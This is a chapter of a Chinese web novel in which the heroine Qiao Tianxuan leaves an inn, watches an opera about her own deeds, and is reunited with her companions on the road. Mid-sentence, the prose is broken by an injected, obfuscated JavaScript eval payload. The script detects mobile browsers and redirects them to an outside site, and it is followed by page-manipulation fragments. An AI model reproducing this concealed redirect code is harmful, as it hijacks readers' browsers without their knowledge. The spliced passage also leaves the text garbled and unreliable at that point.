风云客栈老板娘的确说得没错,她要是当了陈渊龙的太子妃,日后陈渊龙登基之后,她便是名正言顺的皇后。 太子妃、皇后,这是多少女子盼星星盼月亮都盼不来的身份?现在有个现成的太子追着自己吃醋,追了自己一路,结果追着追着,要追的人却猝不及防从眼前凭空消失了,他心里得是什么感受什么滋味? “会不会很慌啊?”乔天璇情不自禁喃喃着。 “慌?你是说太子殿下吗?那他肯定慌啊!” “可是……”乔天璇欲言又止。 就算如此,乔天璇仍旧感觉自己心中像是有一根刺扎着肉似的。 幼时伴读那会儿,陈渊龙总是对她冷言冷语,还让她洒扫了四年的书阁,浇了三年半的花。 她不甘心。 风云客栈老板娘道:“女侠,就算不说太子殿下,你五天前突然在朋友的身旁凭空消失,那你的朋友们肯定也很着急。” “……对了,师父!阿蕊!”乔天璇猛然回过神来,焦急道:“我现在就出发去找他们!” 说着,乔天璇慌忙下榻。 “慢点儿慢点儿!不急,那个……”风云客栈老板娘看向了盘子里剩下的三个烧饼,连忙将其拿来递给了乔天璇,道:“这三个烧饼就当是路上吃的干粮,收着吧。” 看着眼前被递过来的三个烧饼,乔天璇难以想象这风云客栈老板娘居然这么大方。 之前她可是亲眼见到风云客栈老板娘亲自把一个赊了三天房费的男人给硬生生赶了出去。 不过三个烧饼和三天房费也没法相比,风云客栈老板娘这般对自己估计也是出于好心,以及对三侠行客的崇拜。 乔天璇接过了风云客栈老板娘递给自己的三个烧饼,感激道:“多谢老板娘!” 风云客栈老板娘客气道:“哎呀谢什么啊,云天女侠能再临风云客栈,那可是令风云客栈蓬荜生辉的事情!” “真是太抬举了。”乔天璇收好了三个烧饼,捯饬好昏睡了五天五夜的自己后便与风云客栈老板娘一起出了这间客房。 现在不是饭点,一楼的客栈大堂并不算很热闹。 风云客栈老板娘带着乔天璇一路下了楼,送乔天璇出了客栈大门。 “云天女侠,一路平安。”风云客栈老板娘满眼不舍。 “承你吉言,老板娘。”乔天璇回头看了一眼还在客栈门口望着自己的风云客栈老板娘,对着她点了点头。 她今日依旧身着一袭粉衣。 看来她是真的很喜欢粉衣啊。 乔天璇转回头,望向了前方的路。 此地是东莱,如果按照之前陈渊龙所走的路线去冀州,那就得先去大妄山,再去冀州。说白了就是绕路走,明摆着浪费时间和体力。 可如果不这样走,就得走一条之前从未走过的新路。 而且万一花蕊他们按照旧路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289706|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回来找自己呢? 想到这里,乔天璇登时浑身一激灵。 对啊,已经过去了五天五夜了,花蕊他们要是真的也来找自己了,估计也会和自己有相似的想法。如果他们也这般走,那最后极有可能会在路上相遇! 而且自己为何会在“祈福”消失之后凭空出现在了风云客栈?说不定就是因为即使没有陈渊龙的“祈福”,自己也会由于另一些原因在五天前来到风云客栈,而并非去了傅陵会馆。陈渊龙的“祈福”虽然改变了一些事情,但也让一些事情以另一种方式发生了。 “没错,就按照之前的路线去冀州。”乔天璇下定了决心,迈步按之前的那条路线往前走去。 走着走着,乔天璇隐隐约约听到前方传来咿咿呀呀的声音。 前面有人在唱戏? 反正顺路,乔天璇便加快了往前走去的步子。 片刻后,乔天璇赶到了戏台前最外圈的一层观众后面的位置。 虽然观看的位置有些远,但乔天璇还是看出来了这场戏演的是什么。 这演的分明就是不久前她与洛侠一起降伏了“龙妖”的事情。 只不过一同见证了那件事的陈渊龙、花蕊、祝源、四侠行客也被演进去了,就连四侠行客齐齐护着布阵中的洛侠的情节都有。十分精彩,惊心动魄。 乔天璇心中不禁暗暗感叹。 真没想到当地的戏班子居然这么快就已经把那件事给编成戏让戏子们演出来了。 “好!好!演得好!!!” 降伏“龙妖”的过程看得戏台下的观众激动无比,连连叫好。 其中一些观众是那日在风云客栈大堂亲眼见到过此事的,更是看得入迷,仿佛真的回到了惊心动魄的那一日。 “哎呀,这四侠行客虽然年纪不大,但却也能称得上是后起之秀。” “没错没错,我看这四人可不容小觑啊!” “据说四侠行客还被三侠行客当面肯定过呢!” “是嘛,那可不得了了啊!” “不知日后这四侠行客会不会比三侠行客还要厉害……” 外层的观众小声议论着,聊得火热。 戏台上的演绎也已然进入了尾声部分。 正当乔天璇看得来劲儿,想与人说说戏时,一转头却发现身旁都是陌生人,没有一个熟悉的人能真心地听自己说戏。 一瞬间,乔天璇感觉到了一阵强烈的失落感,连看戏的心情都没有了。 她转身离开了戏台,垂头丧气地继续往前方的路走去。 不知到底走了多久,乔天璇抬头一望,见天边的晚霞都快要没入即将来临的黑夜中了。 路上行人伶仃无几,铺子大多已经打烊,街道空旷寂寥。 正当乔天璇四下张望,打算在附近找家客栈凑合着住一晚时,她忽见前方驶来了一辆特别大的马车。 这辆马被五匹马拉着,一看就知道马车里坐了许多人,要不然也不必让五匹马来拉才能拉得动。 不过这得是什么大户人家才能使得起的马车啊?五匹马的草料日积月累起来可不是一笔小数目。 等等……该不会是东莱荀氏的马车吧?! 毕竟东莱荀氏可是此地的世家大族。 而世家大族最不缺的就是钱。 乔天璇心头一紧。 他们之前跟荀家大公子荀韫因“荀循”之事应该算是结下梁子了吧……算吗?应该……算吧? “天璇!天璇!!!” 两声急切的呼唤声忽然从前方传来,强行打断了乔天璇心中的纠结。 咦?这儿会有谁认识我? 乔天璇心头又是一紧。 但她立马也想起来了那是谁的声音。 是陈渊龙! 乔天璇慌忙循着声音找人。 “天——璇——” 这一次,陈渊龙的声音距离自己更近了。 ……马车?声音是从那辆大马车的方向传来的! 乔天璇赶忙朝离自己越来越近了的大马车仔细望去,终于看清楚了。 陈渊龙居然跟个马车夫似的在赶马车?! 下一刻,马车的门帘被马车里面的人掀了开来,洛侠和花蕊一左一右探出了头来。 乔天璇的心顿时如战鼓狂擂。 他们真的如她所想,在之前所走的路上相遇了! 夕阳西下,陈渊龙着急忙慌地赶着马车拼命向乔天璇的身旁奔来,披着灿金的余晖,伴随着急促的马蹄驰骋声。